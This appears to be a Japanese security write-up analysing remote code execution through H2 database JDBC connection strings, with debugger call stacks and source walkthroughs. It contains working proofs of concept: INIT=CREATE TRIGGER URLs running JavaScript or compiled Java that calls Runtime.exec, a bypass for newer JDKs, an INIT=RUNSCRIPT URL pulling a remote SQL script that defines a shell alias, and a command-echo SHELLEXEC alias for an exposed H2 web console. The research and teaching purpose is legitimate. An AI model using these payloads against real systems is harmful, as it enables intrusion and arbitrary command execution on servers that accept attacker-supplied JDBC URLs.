JDBC H2 攻撃#
H2#
$$ は h2 で設定関数を表します
eval は変異した var3 名のスクリプトを実行します
呼び出しスタック:
loadFromSource:102, TriggerObject (org.h2.schema)
load:82, TriggerObject (org.h2.schema)
setTriggerAction:144, TriggerObject (org.h2.schema)
setTriggerSource:137, TriggerObject (org.h2.schema)
update:117, CreateTrigger (org.h2.command.ddl)
update:198, CommandContainer (org.h2.command)
executeUpdate:251, Command (org.h2.command)
openSession:243, Engine (org.h2.engine)
createSessionAndValidate:171, Engine (org.h2.engine)
createSession:166, Engine (org.h2.engine)
createSession:29, Engine (org.h2.engine)
connectEmbeddedOrServer:340, SessionRemote (org.h2.engine)
<init>:173, JdbcConnection (org.h2.jdbc)
<init>:152, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:8, H2
0x01 TRIGGER RCE#
javascript#
JDK15 では
JavaScript /Nashorn
エンジンが完全に削除されました(つまり、jdk15
以上では//javascript
のような方法で rce はできず、jsEngineはnull
になり、NullPointerException が発生します)
環境
jdk8u20
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.200</version>
</dependency>
import java.sql.DriverManager;
public class H2 {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript\n" +
"Java.type(\"java.lang.Runtime\").getRuntime().exec(\"open -a Calculator\")'";
java.sql.Connection conn = DriverManager.getConnection(simplexp2);
}
}
H2 解析プロセス#
public JdbcConnection(String var1, Properties var2) throws SQLException {
this(new ConnectionInfo(var1, var2), true);
}
まずnew ConnectionInfo(var1, var2)
に入ります。接続情報の設定方法を確認します。
readSettingsFromURL
に入ります。
戻ります。
name は url の後半部分の値であり、その後 name の値が解析されます。
tcp:
とssl:
はリモート接続を有効にし、remote=true
になります。その後のremote
の判断でリモート接続が行われます。
mem
: メモリモードを使用し、データベースはメモリに保存されます。test
: 接続するデータベースの名前です。
poc がmem:
を設定しているため、persistent = false;
となります。ここも重要です。なぜなら、後でgetName()
が呼び出されるからです。
もしpersistent != false;
であれば、name が検査され、ちょうど true になると、エラーがスローされます。
それはname
が相対パスのフラグ(./
、.\\
、:/
、:\\
など)を含むか、SysProperties.IMPLICIT_RELATIVE_PATH
がfalse
であるかを確認します。もしname
が絶対パスでなく、これらの相対パスのフラグを含まない場合、例外がスローされます。
その後、new ConnectionInfo(var1, var2)
に戻り、後はconvertPasswords
によるパスワードの処理と変換だけですが、ここでは設定されていないため、特に操作はありません。これで接続情報の解析部分は終了です。
init#
接続情報を取得した後、接続プロセスが始まります。
H2 データベースのエンジンクラスをリフレクションでロードし、その後エンジンクラスを通じてセッションを作成します。
INSTANCE.createSessionAndValidate(ci)
メソッドを呼び出してセッションを作成し、検証します。その後、openSession(ci);
に入ります。
接続情報からIFEXISTS(存在するか)、FORBID_CREATION(接続禁止)、IGNORE_UNKNOWN_SETTINGS、CIPHER(接続パスワード)、INIT
を除去し、いくつかの情報を入力してopenSession
を呼び出し、セッションを開こうとします。
別のopenSession
内でDATABASES
名を取得し、存在するかどうか、forbidCreation
が true かどうかを判断します。どちらも満たされない場合は、そのデータベースを作成します。その後、ユーザーとパスワードも作成し、mem:test
を先ほど作成したデータベースのキーとして使用し、元のopenSession
メソッドに戻ります。
もしinit
変数が空でなければ、初期化コマンドの実行を試みます。
parseCreateTrigger:6655, Parser (org.h2.command)
parseCreate:6231, Parser (org.h2.command)
parsePrepared:903, Parser (org.h2.command)
parse:843, Parser (org.h2.command)
parse:815, Parser (org.h2.command)
prepareCommand:738, Parser (org.h2.command)
prepareLocal:657, Session (org.h2.engine)
prepareCommand:595, Session (org.h2.engine)
openSession:241, Engine (org.h2.engine)
初期化コマンドが完了しました。
その後、TriggerObject#loadFromSource
に到達し、実行を呼び出します。
この関数はソースコードからトリガーオブジェクトをロードします。まずデータベースのコンパイラインスタンスを取得し、トリガーの完全なクラス名を構築します。つまり、org.h2.dynamic.trigger.TRIG_JS
です。setSource
はトリガーのソースコードを指定されたクラス名に設定し、トリガーのソースコードが JavaScript ソースコードであるかどうかを確認します。もし JavaScript ソースコードであれば、スクリプトをコンパイルして実行します。
まずgetCompiledScript()
に入ります。
ここで JDK15 ではJavaScript /Nashorn
エンジンが完全に削除されました(つまり、jdk15 以上では//javascript
のような方法で rce はできず、jsEngineはnull
になり、NullPointerException が発生します)。
次に、js エンジンを取得する方法を確認します。
"nashorn", "Nashorn", "js", "JS", "JavaScript", "javascript", "ECMAScript", "ecmascript"
その後、names
と渡されたname
を照合し、一致すれば初期化されたengine
を返します。
しかし、ここで注意が必要なのは、javascript の前にも判断があることです。
小結#
この攻撃手法は主にjava Trigger
(Java トリガー)に依存しています。つまり、バックエンドの Java コードロジックを実行するコンテナを使用して rce を行います。init のコマンドが部分的に読み取られた後、それをTrigger
のTriggerソースコード
として扱い、対応するエンジンを使用してそのソースコードを実行します。
poc を作成する際は、SQL 文の解析プロセスを主に確認します。
0x02 //javascript の回避#
エンジンの登録を試みる(失敗)#
JDK15 以降は javascript が使用できなくなりました。
上の図は jdk17 で jsEngine を取得しようとした際、エンジンが null であるため、後続のエラーが発生します。associations
内に登録されたエンジンが見つからず、 engineSpis
コレクション内に発見されたエンジンがありません。
その後、jdk17 でassociations
を登録できる場所を見つけました。
しかし、以前の factory が何であったかを確認する必要があります。jdk8 で使用されている factory はNashornScriptEngineFactory
であり、同時に spis はその名前を取得することで取得されます。
ScriptEngine engine = spi.getScriptEngine();
engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE);
return engine;
jdk17 で factory インターフェースを実装しているクラスを確認しましたが、残念ながら見つかりませんでした。
主に jdk17 にはNashornScriptEngineFactory
とNashornScriptEngine
がなく、元のコードは直接ScriptEngineManager
を new してエンジンを探しに行くため、他に特別な操作はありません。このプロセスは制御できません。
Trigger コードの生成を制御する#
import java.sql.DriverManager;
public class H2_Bypass {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String simplexp = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$ void Unam4exp() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$";
java.sql.Connection conn = DriverManager.getConnection(simplexp);
}
}
まずはコマンドの解析部分を確認します。
呼び出しスタック
parseCreateTrigger:6780, Parser (org.h2.command)
parseCreate:6355, Parser (org.h2.command)
parsePrepared:645, Parser (org.h2.command)
parse:581, Parser (org.h2.command)
parse:556, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:8, H2_Bypass
ちょうど poc と一対一で対応し、最後のトリガー部分に到達します。
fullClassName
とtriggerSource
がコンパイラに装入され、getClass(className);
に進みます。
public Method getMethod(String className) throws ClassNotFoundException {
Class<?> clazz = getClass(className);
Method[] methods = clazz.getDeclaredMethods();
...
getClass
を追跡し、直接classLoader.loadClass(packageAndClassName);
に到達します。
getCompleteSourceCode()
を通じて完全なクラスファイルのコード
を補完し、package、className、sourcecode(poc中)
を含みます。
その後、javaxToolsJavac
を使用してそのクラスをロードし、マップに追加して、このクラスオブジェクト
を返します。
上記の呼び出しスタック:
findClass:151, SourceCompiler$1 (org.h2.util)
loadClass:592, ClassLoader (java.lang)
loadClass:525, ClassLoader (java.lang)
getClass:179, SourceCompiler (org.h2.util)
getMethod:244, SourceCompiler (org.h2.util)
loadFromSource:109, TriggerObject (org.h2.schema)
load:87, TriggerObject (org.h2.schema)
最後にinvoke
を呼び出して悪意のあるメソッドをトリガーします。
0x03 INIT RunScript RCE#
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
poc.sql
DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a calculator');
呼び出しスタック
execute:93, RunScriptCommand (org.h2.command.dml)
update:71, RunScriptCommand (org.h2.command.dml)
update:139, CommandContainer (org.h2.command)
executeUpdate:304, Command (org.h2.command)
executeUpdate:248, Command (org.h2.command)
openSession:280, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3
while ループを通じて各 SQL 文を実行し、一度に一文を実行します。
$$ ロジック#
command
を解析する方法を確認します。呼び出しスタック
initialize:286, ParserBase (org.h2.command)
parse:552, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3
初期化
Tokenizer.tokenize
に入ります。
これは JDBC 文字列を解析する鍵です。文字列がRUNSCRIPT FROM 'http://127.0.0.1:8080/poc.sql'
である場合、最初の R が case に入ります。
readR はキーワードを探すために findIdentifierEnd を呼び出します。ここで RSCRIPT が見つかりますが、RIGHT EOW ROWNUM は優先的にマッチングされる必要があります。マッチングされない場合、最後に readIdentifierOrKeyword が呼び出されます。ここで RUNSCRIPT の抽出が完了します。
その後、空白をスキップします。
From キーワード
単一引用符に出会うと、その中の文字を抽出し、次のようなトークンを取得します。
$$
ロジックを確認します。
ここでsql.substring(stringStart, stringEnd)
は私たちが定義した関数です。
$ の回避#
上記で $ がnew Token.CharacterStringToken(i, sql.substring(stringStart, stringEnd), false);
で追加されていることがわかりました。CharacterStringToken
を検索します。
readCharacterString
にも存在し、case '\''
で呼び出されます。
したがって、poc.sql 内の $$ を単一引用符に置き換えることも可能です。したがって、0x02 でも切り替えることができます。
poc で注意すべき問題#
危険な関数を正常に記述すると、直接 rce できないことがわかります。なぜ著者は後でエスケープ文字を追加したのでしょうか?
String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec(\"open -a Calculator\")\\;}';";
SQL を渡すとき、余分なエスケープ文字はすでに消えています。追跡してみましょう。
この時 ci の originalURL はまだjdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec("open -a Calculator")\;}'
です。
もしエスケープ文字を追加しなければどうなるでしょうか?
readSettingsFromURL:325, ConnectionInfo (org.h2.engine)
<init>:97, ConnectionInfo (org.h2.engine)
<init>:115, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:14, H2_1
;
で分割されるため、元の poc の危険な関数が 2 つの部分に分割されてしまいます。
2 つのエスケープ文字を追加する必要があります。
0x04 H2 データベースの利用 ALIAS#
jar をダウンロードし、最新バージョンを使用します。jdk17 で起動し、直接接続するとオンラインの h2 データベースが得られます。
/Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/java -cp h2-2.3.232.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
Web Console server running at http://192.168.1.148:8082 (others can connect)
回声#
DROP ALIAS IF EXISTS SHELLEXEC ;
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
//CALL SHELLEXECでコマンドを実行
CALL SHELLEXEC('whoami');
CALL SHELLEXEC('ifconfig');
0x05 参考#
https://xz.aliyun.com/news/15960?time__1311=eqUxnD0Gi%3DP4uDBqPdKGQGCYde0KqNDCAKeD
zjj